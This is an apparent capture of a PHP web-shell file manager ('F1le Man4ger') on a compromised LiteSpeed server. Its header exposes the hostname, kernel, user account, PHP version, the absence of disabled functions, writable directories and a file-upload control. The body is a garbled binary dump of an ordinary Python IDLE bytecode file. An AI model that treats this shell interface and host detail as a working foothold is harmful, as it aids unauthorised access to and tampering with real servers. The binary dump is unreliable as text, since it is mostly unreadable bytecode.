Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cppython/lib/python3.8/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cppython/lib/python3.8/idlelib/__pycache__/debugobj_r.cpython-38.pyc
U

@��g:�@sTddlmZdd�ZGdd�d�ZGdd�d�ZedkrPdd	lmZed
dd�d
S)�)�rpccCst|�}t|�}|tj|<|S�N)�WrappedObjectTreeItem�idrZobjecttable)�item�wrapper�oid�r	�1/opt/cppython/lib/python3.8/idlelib/debugobj_r.py�remote_object_tree_items
rc@s$eZdZdd�Zdd�Zdd�ZdS)rcCs
||_dSr)�_WrappedObjectTreeItem__item)�selfrr	r	r
�__init__szWrappedObjectTreeItem.__init__cCst|j|�}|Sr)�getattrr�r
�name�valuer	r	r
�__getattr__sz!WrappedObjectTreeItem.__getattr__cCs|j��}ttt|��Sr)r�_GetSubList�list�mapr�r
Zsub_listr	r	r
rs
z!WrappedObjectTreeItem._GetSubListN��__name__�
__module__�__qualname__rrrr	r	r	r
r	src@s$eZdZdd�Zdd�Zdd�ZdS)�StubObjectTreeItemcCs||_||_dSr)�sockior)r
rrr	r	r
rszStubObjectTreeItem.__init__cCst�|j|j|�}|Sr)rZMethodProxyrrrr	r	r
rszStubObjectTreeItem.__getattr__cs&�j��jddi�}�fdd�|D�S)Nrr	csg|]}t�j|��qSr	)rr)�.0r�r
r	r
�
<listcomp>$sz2StubObjectTreeItem._GetSubList.<locals>.<listcomp>)rZ
remotecallrrr	rr
r"szStubObjectTreeItem._GetSubListNrr	r	r	r
rsr�__main__)�mainz!idlelib.idle_test.test_debugobj_r�)�	verbosityN)ZidlelibrrrrrZunittestr"r	r	r	r
�<module>s

F1le Man4ger